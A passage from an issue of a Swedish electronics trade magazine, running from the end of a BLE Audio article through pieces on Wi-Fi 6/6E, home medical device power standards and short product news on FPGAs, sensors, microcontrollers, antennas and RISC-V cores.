göra det mindre och därmed lättare att överföra. Ljudkodekar för trådlösa tillämpningar är normalt inexakta, ”lossy” . Det innebär att de sänker ljudkvaliteten men på ett sådant sätt att de gör största möjliga datakomprimering med minsta möjliga förlust av hörbar ljudkvalitet. Det är lika mycket en konst som en vetenskap, eftersom det som räknas är upplevd lyssnarupplevelse snarare än hårda siffror från någon sorts mätning.

Blindtester ska ha visat att LC3 ger högre upplevd ljudkvalitet än befintliga kodekar som SBC (Sub Band Coding) vid halva datatakten. Så även vid 192 kBit/s är det möjligt att överföra ljud av hög kvalitet – i alla fall högre än 384 kBit/s SBC.

Detta är en betydande fördel, för då går det att strömma högkvalitativt ljud trots BLE:s mer begränsade datagenomströmning.

Notera att LC3-kodeken i sig inte är en del av BLE Audio. Den utformades med BLE Audio i åtanke men kan användas på alla typer av ljudöverföring.

Tillgängliga produkter

Detta om tekniken. Hur ligger det till vad det gäller hårdvara? Det finns ju BLE 5.2-kompatibel hårdvara redan nu, så betyder det att det finns att köpa produkter som kan pluggas in och börja strömma ljud?

Nja, sakta i backarna! För det första: att vara Bluetooth ”5.2-kompatibel” innebär INTE att samtliga Bluetooth 5.2-funktioner är implementerade. Så du vill först kontrollera

att hela uppsättningen funktioner är implementerade och tillgängliga, i första hand Isochronous Channels.

För det andra måste det finnas en implementering av en LC3-kodek. Observera att en sådan inte är en del av BLE Audio i sig. Och du måste se till att hårdvaran har tillräcklig beräkningskraft för att köra koden, som brukar vara minnes- och processorhungrig. Så endast den mest kraftfulla hårdvaran har kapacitet att köra dem.

Du kan till och med behöva ta en extra processor eller DSP till hjälp. Du behöver kunna köra en oberoende kodek samtidigt per kanal, två för stereo, till exempel.

Slutligen är det osannolikt att vanlig BLEhårdvara har en analog till digital-omvandla-

re av tillräcklig kvalitet för att kunna konvertera en analog signal med den kvalitet som högkvalitativt ljud kräver, eller än mindre att den ensam kan hantera brusreducering och andra avancerade funktioner. Så i de flesta fall krävs en högkvalitativ DSP och ADC för att generera och bearbeta den digitala signal som ska skickas över Bluetooth-länken.

Rent praktiskt är den senaste generationens Bluetoothkretsar inriktade på denna typ av tillämpning. De har ofta kraftfulla dubbelkärnor (exempelvis ARM Cortex M33), med mycket flash och RAM-kapacitet.

Var försiktig med äldre generationers hårdvara som uppgraderats till ”Bluetooth 5.2-kompatibilitet”. Många av dem kommer inte att ha tillräckligt kapacitet.

Läget idag – reality check

Så tillbaka till kärnfrågan – hur är nuläget när det gäller BLE Audio? Standarderna är klara. Lösningen för flerkanalsljud innebär en klar förbättring jämfört med dagens Bluetoothljud. Och så finns en ny kodek som ger högre ljudkvalitet i lägre, BLE-vänliga, datatakter.

Det finns en ny generation ytterst kapabla kretsar med kapacitet att implementera kärnfunktionerna i BLE Audio. Ytterligare komponenter kommer dock sannolikt fortfarande att krävas. Som alltid är mjukvaruimplementeringarna den sista pusselbiten som kommer att falla på plats – exakt när det sker kommer att variera beroende på leverantör. ■

SVENSKA ELEKTROOCH DATAINGENJÖRERS RIKSFÖRENING

Inte medlem? SER är intresseföreningen för yrkessamma. Vi är kontaktskapare mellan medlemmar och intressanta företag. SER arrangerar studiebesök, föredrag och seminarier med aktuellt fokus. I medlemskapet ingår även medlemstidningen Eloch Datateknik, Elektroniktidningen och Nordisk Energi.

LÄS MER HÄR!

Framtidssäkrad uppkoppling Wi-Fi 6 och 6E – de senaste wifi-standarderna

Den senaste wifi-standarden, Wi-Fi 6, och dess tillägg, Wi-Fi 6E, ger höga datatakter, högre kapacitet och låg latens även i miljöer med många wifi-enheter. Standarden öppnar för många nya applikationer och användningsområden men ställer också nya krav.

Det mycket omtalade kylskåpet som automatiskt beställer mat slog aldrig men det har många andra smarta hemapparater gjort, som tvättmaskiner som via mobilen informerar om att tvätten är klar. Detta är möjligt på grund av wifi, en av de mest kända och mest spridda trådlösa teknikerna. Fler och fler enheter erbjuder ett wifi-gränssnitt, inte bara inom smarta hemsektorn. Wifi hittar också allt mer in i industriella miljöer genom applikationer som mobila robotar, kransystem, automatiserade fordon eller till och med säkerhetssystem och uppkopplade sensorer i produktionslinjer. VR och spelapplikationer samt laddboxar använder också denna trådlösa teknik.

De nya applikationsområdena ställer nya krav på tekniken och trots det ökande antalet abonnenter i wifi-nätverken förväntar sig användarna en stabil anslutning. Det är därför Wi-Fi Alliance ständigt vidareutvecklar standarderna. Sedan den första versionen av IEEE 802.11 dök upp år 1997 har datatakterna förbättrats avsevärt med varje ny generation.

Den här gången har Wi-Fi Alliance dock inte bara optimerat tekniken utan även namngivningen: Wi-Fi 6 och Wi-Fi 6 E (E = förbättrad/extended) ersätter den föregångaren IEEE 802.11ax. Äldre versioner har också fått nya namn: IEEE 802.11ac heter numera Wi-Fi 5 och IEEE 802.11n är nu Wi-Fi 4.

TEKNISKT SETT ERBJUDER Wi-Fi 6 och Wi-Fi 6E en hel rad förbättringar: • OFDMA (ortogonal frequency division multiple access): OFDMA är en förlängning av OFDM-metoden som används i Wi-Fi 5-teknik. Medan endast ett datapaket kan sändas till en enda terminal inom ett givet tidsfönster när OFDM används, möjliggör OFDMA överföring av flera uppsättningar data för olika terminaler i samma datapaket. Detta ökar effektiviteten och minskar latensen avsevärt.

• 1024-QAM (kvadraturamplitudmodulering): Jämfört med Wi-Fi 5, som använder 256-QAM, ger 1024-QAM 25 procent högre datatakt i Wi-Fi 6. Med 1024-QAM kan totalt 10 bitar överföras; med 256-QAM är det bara 8 bitar. Detta är särskilt fördelaktigt i miljöer med många wlan-terminaler, till exempel på stationer eller vid stora evenemang.

• MU-MIMO (multi-user – multiple input, multiple output): Genom att dela upp den tillgängliga bandbredden i separata rumsliga strömmar är kommunikation via flera antenner möjlig mellan en sändare och flera mottagare samtidigt för både nedlänk och upplänk. Med Wi-Fi 5 fungerade detta bara för nedlänk. Som ett resultat minskar Wi-Fi 6 ytterligare latensen och ger större stabilitet.

• TWT (target wake time): TWT ”väcker upp” nätverksabonnenter för att överföra data endast vid specifika tidpunkter. Resten av tiden ”sover” enheterna och kräver därmed mindre energi. Detta undviker också störningar i nätverkskommunikationen, eftersom sovande abonnenter inte överför data och inte blockerar kommunikations-

strömmarna – en avgörande pluspunkt, särskilt inom industriell automation med många sensorapplikationer.

• BSS (basic service set) och färger: Varje BSS, som består av en åtkomstpunkt och klienterna, tilldelas en ”färg” (dvs ett nummer) så snart en annan BSS är i dess närhet. Signaler från ett annat nätverk kan därför detekteras och ignoreras. Detta ger en effektivare användning av strömmarna och bättre överföringskvalitet.

• Säkerhetsstandard WPA3 (Wi-Fi Protected Access 3): Jämfört med sin föregångare WPA2 ger WPA3 betydande förbättringar vad gäller autentisering och kryptering, såväl som i konfigurationen av wlanenheter. Dessutom ger det större säkerhet vid offentliga hotspots. WPA3-standarden är obligatorisk för produkter certifierade enligt Wi-Fi 6.

Ytterligare fördelar med Wi-Fi 6E Wi-Fi 6E är också baserad på IEEE 802.11ax och stöder alltså alla ovan nämnda tekniker, precis som Wi-Fi 6. Det är dock bara de ursprungliga och numera hårt överbelastade banden på 2,4 GHz och 5 GHz som är till-

Wifi är en marknad med miljarder enheter och ett ekonomiskt värde som för närvarande uppskattas till 3,3 biljoner dollar.

6 GHz-bandet har dock ännu inte öppnats för wifi i vissa länder. USA startade 2020 och kartan visar vilka andra länder som sedan dess följt

’’

gängliga. Däremot finns 6 GHz-bandet även tillgängligt med Wi-Fi 6E. Ytterligare 80 MHz och upp till sju ytterligare 160 MHz rumsliga strömmar för dataöverföring ger ännu högre datatakter. 2,4 GHz- och 5 GHz-banden, som enheter med äldre wifi-standarder använder, avlastas, vilket i sin tur leder till lägre latens. Detta gör Wi-Fi 6E till en idealisk lösning för spel, strömning och virtuell verklighet.

6 GHz-bandet har dock ännu inte öppnats för wifi i vissa länder. USA startade 2020 och kartan ovan visar vilka andra länder som sedan dess följt.

En uppgradering kräver ny hårdvara

Alla som nu funderar på att byta till Wi-Fi 6 eller Wi-Fi 6E bör tänka på att enheter med äldre wifi-standarder inte kan uppgraderas genom en mjukvaruuppdatering. Det innebär att alla routrar och enheter som behöver använda den senaste standarden måste vara utrustade med ny hårdvara. Wi-Fi 6/6E-enheter, å andra sidan, är bakåtkompatibla med äldre wifi-standarder.

RUTRONIK HAR REDAN produkter från olika leverantörer för både Wi-Fi 6 och Wi-Fi 6E: • Intel erbjuder kombinationskort för Wi-Fi 6 och Bluetooth med sina AX200- och AX201modeller i formfaktorerna M.2 2230 och M.2 1216. Det finns Wi-Fi 6E-kort i de två M.2-korten AX210 och AX211 från Intel. Alla Intels plug-in kort kan fås i en rad varianter, både med och utan vPRO. AX210 erbjuds dessutom för det industriella temperaturområdet. Utvecklingskit finns också.

• Silex erbjuder ett Wi-Fi 6- och Bluetooth 5.2 BR/EDR/LE-kort. SX-PCEAX är baserad på Qualcomms systemkrets QCA2066 och finns i olika formfaktorer (SMT, halvstorlek PCIe, M.2). Modulen är även certifierad för 6 GHz-bandet för Wi-Fi 6E.

• Advantech har flera plug-in kort för Wi-Fi 6: AIW-163 är ett M.2 2230 kort med en A-E Key (nyckeln beskriver anslutningsformen för M.2 header) och ett temperaturområde på 0°C till 70°C. AIW-165 i formfaktor M.2 2830 har en E Key och ett temperaturområde på –40°C till +85°C. Advantech har annonserat ytterligare två M.2 2230 E Key cards och det finns kit tillgängliga.

• Murata förlitar sig på chipset från Infineon/Cypress och NXP för sina Wi-Fi 6 och 6E-produkter. Typ 1XL är en NXP-baserad Wi-Fi 6 och BLE 5.2 2x2 MIMO-modul i liten formfaktor på 19,1×16,5 mm. Fler moduler kommer att lanseras inom kort: Typ 2EA är baserad på Cypress CYW55573 och kom-

mer att stödja Wi-Fi 6E. Typ 2DL/2DR och 2EL/2ER är baserade på olika NXP-chips. 2Ex-varianterna stöder även Thread förutom Bluetooth och Wi-Fi 6. 2xR-modulerna har en extra antenn för Bluetooth.

• Panasonic kommer också att lansera sina första Wi-Fi 6-moduler under 2023.

RUTRONIK HAR KOMPLETTA routrar från Asus för den nya standarden Wi-Fi 6/6E och Silex planerar också att lägga till Wi-Fi 6E till sina trådlösa bryggor, servrar och trådlösa presentationssystem.

Etablerade standarder

Det finns redan produkter från många leverantörer och enligt Wi-Fi Alliance kommer 2,3 miljarder respektive 350 miljoner av de totalt 29 miljarder wifi-enheter som levereras 2022 att vara utrustade med Wi-Fi 6 respektive Wi-Fi 6E. Tack vare de fördelar de ger kommer den andelen för de nya standarderna säkerligen att öka avsevärt.

Medan Wi-Fi 6 och Wi-Fi 6E etablerar sig på marknaden, arbetar Wi-Fi Alliance redan på nästa standard: Wi-Fi 7 eller IEEE 802.11be. Användare kan se fram emot tre band (2,4, 5 och 6 GHz) och ännu högre dataöverföringshastigheter. Wi-Fi Alliance kommer dock inte att slutföra denna standard förrän i mitten av 2024. Så det kommer att ta ganska lång tid innan hårdvara med Wi-Fi 7 finns tillgänglig på marknaden. ■

Hemmiljö ställer hårda krav på medicinteknik

Patienter i icke-klinisk miljö skyddas enligt IEC 60601-1-11

Ron Stull, CUI

Ron Stull är marknadsföringsingenjör inom området kraftprodukter. Hans roll är att dela sin kunskap inom robust strömförsörjning med ingenjörer över hela världen. År 2009 fick han jobb på CUI och har ägnat sig åt såväl konstruktion och applikationsstöd som test och validering.

Ron Stull har fått artiklar publicerade i Electronic Design, EE Journal, All About Circuits, Electric Specifier, och nu även Elektroniktidningen.

Medicinska enheter för hemmabruk

Det finns ett ökat behov av system för medicinskt bruk i hemmet, då patienter som behöver fortsatt sjukhusvård eller vård av andra vårdgivare, skickas hem.

Medicinteknik som används i icke-kliniska sammanhang har olika komplexitetsgrad, allt från enkel första-hjälpen-utrustning, till komplexa enheter för avancerade behandlingar. Komplex utrustning för hemmabruk måste uppfylla strikta säkerhetskrav i IEC 60601-1 avseende patientskydd. De måste dessutom klara ytterligare krav som har samband med de risker som kan finnas i hemmet, såsom outbildade användare och en hemmiljö som inte kan kontrolleras.

Blodtrycksmätningar

Blodtrycket är ett kritiskt livstecken som används för både akuta och långtida kliniska beslut. I normalfallet tar en blodtrycksmätning det systoliska och diastoliska trycket. Det systoliska trycket är toppvärdet på artärtrycket vid systole, alltså när hjärtmuskeln pumpar blod från kamrarna till artärerna. Det lägsta artärtrycket inträffar vid diastole, när hjärtmuskeln slappnar av och kamrarna fylls med blod. Då mäts det diastoliska trycket. Artärtryckets medelvärde beräknas efter de systoliska och diastoliska trycken, enligt ekvation 1.

MAP = DP + (SP – DP) / 3, eller MAP = DP + PP / 3 (ekvation 1)

Där MAP = artärtryckets medelvärde

DP = diastoliskt tryck

SP = systoliskt tryck

PP = pulstryck

Patientens systoliska och diastoliska tryck mäts med en trycksensor, medan blodtrycksmanschetten töms på luft.

En växelspänningsdriven blodtrycksmätare för rollstolsbundna har en inbyggd manschett och armbågssensor som justeras automatiskt för att säkerställa att patienten befinner sig i rätt position, så att mätresultaten ska bli korrekta varje gång (bild 1).

Detta system för blodtrycksmätning drivs med ett kraftaggregat som levererar likspänning och uppfyller elsäkerhetsnormerna i IEC 60601-1 och de krav för hemanvändning som anges i tilläggstandarden IEC 60601-1-11. En serie interna kraftaggregat, eller en serie externa aggregat som pluggas i ett vägguttag uppfyller alla dessa krav och säkerhetsbestämmelser för medicinsk hemutrustning (bild 2).

Överensstämmelse med IEC 60601-1-11 kräver att kraftaggregaten har skydd enligt IEC Klass II eftersom man antar att den elektriska miljön saknar, eller har dålig jord-

Bild 1. BPBIO 750 är en kioskmonterad blodtrycksmätare.

Bild 3. Om medicinsk behandling misslyckas, kan CPAP-utrustningen öka patientens syreupptagning under sömn.

Bild 4. Blockschema för en CPAP-enhet, med kraftaggregat, sensorer, fläktmotor och haptiskt gränssnitt mot patienten.

förbindelse. Kraftaggregat som uppfyller Klass II ska ge lämplig skyddsnivå utan krav på jordförbindelse, genom dubbel eller förstärkt isolation.

CPAP-system

Den gyllene regeln för utrustning för behandling av obstruktiv sömnapné (OSA) är att upprätthålla ett högre atmosfäriskt tryck i lungorna (CPAP). Denna växelspänningsdrivna CPAP-utrustning ger ett ständigt andningsstöd till användaren under nattliga andningssvårigheter, som apné, hypoapné och snarkning (bild 3).

CPAP-utrustningen i bild 3 ansluts direkt till patienten, i medicinsk, klinisk, sjukhuseller hemmiljö.

Eftersom CPAP-utrustningen ska handhas av outbildade användare är dess automatiska egenskaper viktiga. Enheten reagerar på patientens andning vid varje andetag. Eftersom hemanvändare kan sakna utbild-

ning, är det utrustningens reaktion på dessa mätningar som används för att eliminera behovet av att ändra inställningar. Dessutom erbjuder CPAP-utrustningen klimatstyrning som justerar tilluftens fuktighet och temperatur, vilket skyddar patienten från kondensation i andningsmask och slangar och ger bästa möjliga komfort under behandlingen.

I hemmiljön kan finnas ett antal olika enheter som avger elektromagnetisk strålning, som skulle kunna störa den medicinska utrustningen och dess sensorers funktion. Medicinsk utrustning för hemmabruk måste uppfylla snävare krav än traditionell medicinsk utrustning när det gäller begränsning av strålning och potentiella störningar. Så måste till exempel traditionell medicinsk utrustning uppfylla CISPR 11 klass A för störningar, medan medicinsk utrustning för hemmabruk måste uppfylla de strängare gränsvärdena i klass B.

När det gäller telemedicin kan trådlösa

CPAP-enheter användas för att eliminera de vanliga prestandaproblemen med CPAP, såsom komfortproblem och andra användningssvårigheter. CPAP-utrustning som direktansluts till patienten måste ha kraftmatning som uppfyller den medicinska säkerhetsstandarden IEC 60601-1-11. CPAP-utrustning som ansluts till ett vägguttag måste ha ett isolerat kraftaggregat som uppfyller standarden IEC 60601-1-11 (se bild 2). Vissa portabla CPAP-enheter kan drivas med batteri under resor. Sådana CPAP-system, såväl som andra portabla medicinska enheter måste klara hårdare stöt- och vibrationsprover, samt ytterligare mekaniska belastningsprover. Under batteridrift måste batteriladdaren ändå uppfylla den medicinska säkerhetsstandarden IEC 60601-1-11 (bild 4).

Bild 4 visar det isolerade kraftaggregatet som uppfyller IEC 60601-1 längst uppe till vänster. Kraftaggregatet måste klara en variation mellan +10/–15% på nätspänningen för att kunna klara den oförutsägbara elkraften i hemmet. Det betyder att det måste klara inspänningar mellan 85 och 264 volt växelspänning för att vara helt universellt.

Motorn och sensorsystemen visas under batteriladdaren och den icke-isolerade likspänningsomvandlaren. Fläkten som sitter på motorn, trycker in luft i slangen till ansiktsmasken. Sensorsystemet har flera sensorer, som känner fuktighet, temperatur och luftflöde i ansiktsmasken.

Slutsats

Med hjälp av elektronisk medicinsk utrustning för hemmabruk kan man utvärdera en persons hälsoläge på ett effektivt sätt. Dessutom kan sådana egenvårdsenheter lämna medicinskt data till både hemanvändare och läkare, för användning i tidig, såväl som framtida behandling. I denna artikel har eldrivna blodtrycksmätare och CPAPutrustning med kraftaggregat som uppfyller IEC 60601-1-normen, samt olika sensorer, använts som exempel på eldriven utrustning för hemmadiagnostik. På grund av skillnader mellan hem och sjukhus, måste medicinsk utrustning avsedd för hemmabruk uppfylla säkerhetskraven i IEC 60601-1-11. Vi såg hur systemen kunde övervaka ett antal viktiga hälsotecken och lyfta fram insamlad värdefull medicinsk information. ■

Mekanik som elektronik som pedagogik

Amerikanska bolaget Upper Story lär ut elektronik via mekaniska komponenter. Vloggaren Steve Mould är entusiastisk.

Med kugghjul, kedjor, fjädrar, spärrar, med mera, går det att bygga sig hela vägen fram till en fungerande NAND-grind, inklusive batteri.

Det visar vetenskapsvloggaren Steve Mould i en video där han gör reklam – utan betalning –för produkten Spintronics från Upper Story i Minnesota.

Idén är att implementera någonting som är analogt med elektroniska komponenter i termer av mekaniska fenomen. Det är ingen perfekt analogi, på grund av friktion, till exempel, men principerna går att förstå.

Strömstyrka motsvarar kedjans hastighet – en liten tratthögtalare vibrerar mot den passerande kedjan och fungerar som en musikalisk amperemätare. Spänning motsvarar kedjans dragkraft. Kopplingspunkter är överraskande komplicerat att få till och kräver en en egen komponent med tre kugghjul.

BYGGENA KAN GE SKOLBARN en intuition för att förstå induktorer, motstånd, kondensatorer, batterier, omkopplare, dioder, transistorer, et cetera.

Och hur de kan användas för

att bygga allt från likriktare och högpassfilter till en fungerande NAND-grind, vilket som bekant är en komponent vi i princip skulle kunna bygga en dator av. Steve Mould har kavlat upp ärmarna och lovat att försöka sätta ihop en adderare i en senare video.

Produkten heter Spintronics och det ingår läromedel av olika slag.

Det ser ut att att finnas lager kvar av franska, tyska och nederländska versioner. Engelska versioner ska finnas i sommar.

Lattice släpper FPGA-familj för mellansegmentet

För tre år sedan lanserade

Lattice en helt ny familj med små, energisnåla FPGA:er i en FD-SOI-process. Nu kommer en ny familj kallad Avant med betydligt mer logik i en CMOSprocess på 16-nm.

2019 hette den nya familjen Nexus, denna gång har den döpts till Avant. Budskapet är dock detsamma, det är en plattform som snabbt kommer att generera olika varianter. Nexus har hittills hunnit med fem stycken och även om inget sägs officiellt kommer det att komma en eller två nya modeller av Avant per år.

Först ut är Avant-E som finns med 100k till 500k logikceller. Även den minsta modellen är

därmed större än den största modellen i Nexus.

Dessutom går kommunikationen med omvärlden betydligt snabbare. Avant har Serdesblock som klarar 25 Gbit/s plus hårdkodat stöd för PCIe Gen4. När det kommer till externa minnen finns hårdkodat stöd för både LPDDR4 och DDR5.

LOGIKBLOCKEN är förbättrade och anpassade till den nya processen även om de fortfarande är fyrvägs. DSP-blocken är uppdaterade och normalt på 18x18 bitar. De går dock att dela upp i fyra stycken på 8x8. Sammantaget ska det ge 30 gånger bättre prestanda vid exekvering av inferenser i AI-tillämpningar.

Lattice har under åren tagit

fram ett antal mjukvarupaket till Nexusfamiljen för bland annat video- och robottillämpningar liksom AI och mobiltekniken ORAN. Paketen innehåller förutom utvecklingsverktygen och IP-bibliotek även färdiga tillämpningsexempel. Dessa paket har uppdaterats så att de går att använda även med Avantfamiljen.

Den största modellen av AvantE finns redan hos utvalda kunder medan den bredare lanseringen sker under första halvåret nästa år.

PER HENRICSSON per@etn.se

Uppdaterad lärobok i inbyggda system

■ FÖR NYBÖRJARE

49 kronor inklusive frakt eller två dollar för den digitala upplagan, mer än så kostar inte det svenska utbildningsföretaget Agstus senaste version av läroboken om inbyggda system. Du köper den på Amazon.

– Boken passar som en förberedelse för en utbildning inom ett tekniskt område med både hård- och mjukvara. Boken handlar om studieteknik, lärplattform, att skriva tekniska rapporter, inbyggda elektroniksystem, konstruktionsmetodik, olika beskrivningssätt, att skriva läsbar kod, digitalteknik, simulatorer, mjuk- och hårdvara med mera, skriver Lennart Lindh i ett email till Elektroniktidningen.

Han har skrivit boken tillsammans med sin fru Mia.

BOKEN ANVÄNDS till en av Agstus kurser tillsammans med inspelade lektioner, uppgifter och handledning, men går också att läsa på egen hand som en introduktion till området inbyggda system.

– Vad vi har märkt är att de studerande huvudsakligen harsvagheter inom digitalteknik, metodik och rapportskrivning och det är ganska generellt från gymnasiet och tyvärr ibland även från examinerade civilingenjörer. Vi har studerande från gymnasiet till doktorer som går våra program.

Tuff industridator vill se smartare energisystem

Cincoze släpper en x86baserad robust inbyggnadsdator stämplad ”IoE” – Internet of Energy.

Innebörden av IoE är den uppenbara: IoT för smarta städer, elbilsladdning, energilager, solceller, elmotorer et cetera. De ska styras och koordineras för maximal effektivitet, och den intelligensen kan ofta vara placerad utomhus.

DV-1000 som datorn heter,

innehåller inte något unikt. Det är huvudsakligen bara en robust dator med bland annat bra temperaturtålighet och EMI-skydd. Cincoze har tänkt igenom några tillämpningar inom energistyrning och bockat för punkter.

DEN RYMS I ETT ELSKÅP för det första, om det är var du vill ha den. Måtten är 224×162×64 mm, det vill säga ungefär samma yta som ett A4-ark.

Hjärnan är en Intel Coffee Lake S eller R med upp till 32 GB

DDR4 på 2666 MHz – den behöver vara kraftfull för att kunna tugga på sensordata, kanske med hjälp av lite AI?

För att ta emot data från sensorer, smarta elmätare, termostater, och så vidare, och slussa dem vidare, finns för det första vanliga pc-gränssnitt som Ethernet, Com och USB. Ytterligare anslutningar, exempelvis RJ45, DIO och HDMI, pluggar du in som moduler som följer Cincozes egen standard CMI.

DV-1000 klarar temperatur-

omfånget –40 till 70°C och kan utrustas med en extern fläkt om den använder en vassare processor.

DEN TÅL STÖTAR och vibrationer enligt MIL-STD-810G. Och den är EMC-certifierad enlig en rad normer, bland annat CE, UKCA, FCC och ICES-003 Class A.

Cincoze har en särskilt produktfamilj Diamond, som DV-1000 tillhör.

Minsta sensorn för luftkvalitet

Den har inga rörliga delar och behöver inget underhåll. Boschs nya sensor BMV080 mäter halten av partiklar som är 2,5 µm eller mindre, så kallad PM2.5. Dessutom är den betydligt mindre än konkurrenterna, enligt det tyska företaget.

Det går en undre gräns vid ungefär 10 µm för storleken på de partiklar som filtreras bort i näsan och halsen. Är de under 2,5 µm kan de tas upp i lungorna. 10 µm och 2,5 µm används därför som gränsvärden i olika standarder för luftkvalitet.

Inomhusluften är normalt tre till fem gånger mer förorenad än

utomhusluften så att mäta luftkvalitet är därför viktigt i många sammanhang.

Den nya sensorn BMV080 är inte större än 4,2 × 3,5 × 3 mm vilket enligt Bosch är 450 gånger mindre än närmaste konkurrent. Sensorn är tillräckligt liten för att kunna integreras i IoT-noder och dessutom saknar den fläkt vilket gör den ljudlös.

BMV080 använder laserljus för att mäta partiklarna med en uppdateringshastighet på maximalt 1 Hz. Den går dock att sänka för att minska strömförbrukningen.

Produktionen startar under året.

Renesas stöder Matter

■ IoT

Ett utvecklingskit för Wifikretsen DA16200 är den första produkt från Renesas som stöder protokollet Matter.

Renesas sällar sig till raden av halvledartillverkare som stöder Matter, smartahemmetprotokollet som bland annat utvecklats av svenska möbeltillverkaren Ikea.

Samtliga produkter från Renesas inom Wifi, Bluetooth LE och Thread kommer hädanefter att stödja Matter.

Renesas berättar om DA16200 att den ger batteritider på över ett år. Det som finns idag är provexemplar av utvecklingssatsen. I slutet av detta kvartal släpps den i volym. Utvecklingen gör du i

Renesas miljö E2 studio.

Matter är ett försök att göra det smarta hemmet programmerbart i ett enda gemensamt protokoll. Alla Matter-produkter är interoperabla över Wifi, Bluetooth och Thread.

Bland Matters 29 medlemmar finns Nordic Semiconductor, Infineon, NXP , ST, TI och Silicon Labs. Protokollet har dessutom 275 deltagare och 244 adopters.

Mips första Risc V är klar

I mars 2021 annonserade amerikanska Mips att det skulle börja designa Risc Vkärnor och nu är den första testad och klar att designas in i din processor.

Vi fick veta redan i somras att den var på väg, Evocore P8700 heter den, men då gavs inget släppdatum.

Det finns en kund, israeliska Mobileye, som sedan tidigare licenserat kärnor från Mips till Eye Q, en processorfamilj för bildanalys, förarassistans och självkörning. Men de kärnorna har varit av arkitekturen Mips.

Mobileye har nu alltså valt att följa med Mips, företaget, som

efter 35 år med Mips, arkitekturen, bytt till den nya öppna arkitekturen Risc V.

Enligt Mips är P8700 den mest högpresterande Risc V-kärna som finns att licensera. Dessutom den mest skalbara – du kan bygga en krets med 512 stycken dubbeltrådade P8700-kärnor.

DEN ÄR OUT-OF-ORDER , stöder cachekoherens och virtualisering och har hårdvarustöd för debug. För kritiska system finns inbyggd feldetektering som tillval.

Utöver fordon rekommenderar Mips den för datacenter, datalager och prestandaberäkningar.

JAN TÅNGRING jan@etn.se

Tre antenner för Wi-Fi6 och 6E

■ KOMMUNIKATION

Brittiska Antenova har utvecklat tre antenner till små produkter med Wi-Fi6 och Wi-Fi6E på banden 2,4 GHz, 5 GHz och 6 GHz.

Den ytmonterade antennen kallad Billi, SR43W078, mäter 15 × 6 × 1 mm och kräver endast 1 mm extra utrymme på kretskortet.

Lotti (SRF3W077) ansluts med en MHF-kontakt till kretskortet och kan sedan placeras var som helst utan hänsyn till jordplanet. Den mäter 30,0 × 8,0 × 0,15 mm och har en självhäftande tejp på baksidan.

Den tredje nya antennen är Nitida (SRE3W084) för extern montering med SMA-kontakt. Den finns även i en vattentät variant.

Alla antennerna är framtidssäkrade i och med att de täcker 6 GHz-bandet som kommer att

användas för den kommande Wi-Fi7-standarden.

32-bitare vill ersätta åttabitare

STM32C0 heter en ny styrkretsfamilj från ST Microelectronics byggd kring en Arm Cortex M0+ på 48 MHz. Tänk på den som en snål variant av STM32G0.

Den tillverkas med tillval som AD-omvandlare på 1,7 megasamles per sekund, timrar för motorstyrning och upp till 32 kbyte flash och kbyte SRAM.

Cpu-prestanda anges dels som 44 Dmips och dels som Coremark 114. Strömförbrukningen ska vara 80 µA per MHz.

Liksom den kraftfullare familjen STM32G0 tillverkas STM32C0 i 90 nm.

Tillämpningsområden är enklast tänkbara, som strömbrytare, kaffebryggare, larm, kylskåp, pumpar, fläktar och rökdetektorer.

Här brukar klassiskt en åttabitare räcka gott och väl, men allt fler enkla prylar blir ju uppkopplade och en 32-bitare ger takhöjd till att växa upp i funktionalitet. ”Din nästa åttabitare är en 32-bitare” säger ST:s marknadsföring.

JAN TÅNGRING

Velodynes lidar får utvecklingsplattform

Mjukvara från Velodyne kan identifiera 3D-objekt, upptäcka hinder och peka ut fria utrymmen, med mera. Nu är Velodyne inte bara leverantör av lidarsensorn i sig utan också av mjukvara och utvecklingsverktyg.

Mjukvaran heter Vella och består både av funktioner som integreras och av funktioner som används via molntjänster.

Vella kan segmentera scener – dela upp dem i sammanhängande områden. Den har även specialanpassningar för olika domäner där lidar används.

Vad gäller molnet räknar Velodyne i stort sett upp samma funktioner men adderar att de är skalbara, snabba och kostnads-

effektiva. Plus att funktionerna där går att integrera med kundens egna tillämpningar.

I MOLNET GÅR DET att ladda upp rådata för lidar för visualisering. Molnet hanterar även administration kring lidarsensorerna, som programvaruuppdateringar.

Vella lanseras nu och finns

tillsvidare i en betafunktion.

Tanken är att hjälpa kunderna accelerera sin utveckling av datorseende baserad på lidar.

Plattformen finns på nätet, på Vella Portal. Här kan du börja utveckla AI-applikationer så fort du packat upp din lidarsensor.

jan@etn.se

”Öppen” FPGA-utmanare tar in 300 miljoner kronor

■

Det amerikanska uppstartsföretaget Rapid Silicon, som utvecklar system-FPGA:er med tillhörande verktyg baserat på öppen källkod, har tagit in 30 miljoner dollar i en A-runda.

Rapid Silicon grundades så sent som år 2020 av halvledarveteranen Naveed Sherwani. Han har tidigare varit vd på Risc V-bolaget Si-Five och är styrelseordförande för Open-Source FPGA Foundation.

I ledningsgruppen finns en rad välmeriterade FPGA- och halvledarpersoner. Företaget har tidigare tagit 15 miljoner dollar och fyller nu på kassan med ytterligare 30 miljoner dollar som ska användas för att sätta företagets system-FPGA kallad Gemini, med tillhörande utvecklingsverktyg kallat Raptor, på marknaden. Bägge är baserade på öppen källkod.

FPGA:n har logikblock, DSPblock, minne, ett processor-

kluster och hårda block för bland annat kommunikation med omvärlden. Den har stora likheter med exempelvis Zynq-familjen från AMD-Xilinx.

GEMINI TILLVERKAS i en 16 nmprocess hos TSMC och finns med 50k till 250k logikelement. Dessa är sexsvägs och baserade

på öppen källkod i form av Open Standard. Det finns upp till 9,5 Mbit med block-RAM medan antalet DSP-block är maximalt 1250 stycken.

Dessutom har kretsen en tvåkärnig applikationsprocessor (Cortex A53 med Neon- och flyttalsenhet), en 32-bitars Risc V-kärna för enklare uppgifter,

en minneskontroller med stöd för DDR4 på 1066 Mbit/s liksom UART, I2C, QSPI, Gigabit Ethernet och USB2 plus 400 generella in- och utgångar.

Dessutom finns hårda Serdesblock för kommunikation upp till 16,3125 Gbit/s.

ALLA DELAR är sammankopplade via ett NoC (network-on-chip) som i Rapid Silicons upplaga döpts till FlexNoC och har stöd för Arms chipbuss AXI.

Minst lika intressant är Raptor – utvecklingsmiljön – som till största delen även den baseras på öppen källkod. Allt från design, hantering av IP-block till syntetisering och verifiering är baserat på öppen källkodsverktyg. Verktygsflödet går också att koppla ihop med kommersiella produkter.

TSMC har tillverkat testkretsar men inget sägs om när en kommersiell produktion kan starta.

AI och 10 Gbit/s Ethernet i nya IMX-kretsar

■ INBYGGDA SYSTEM

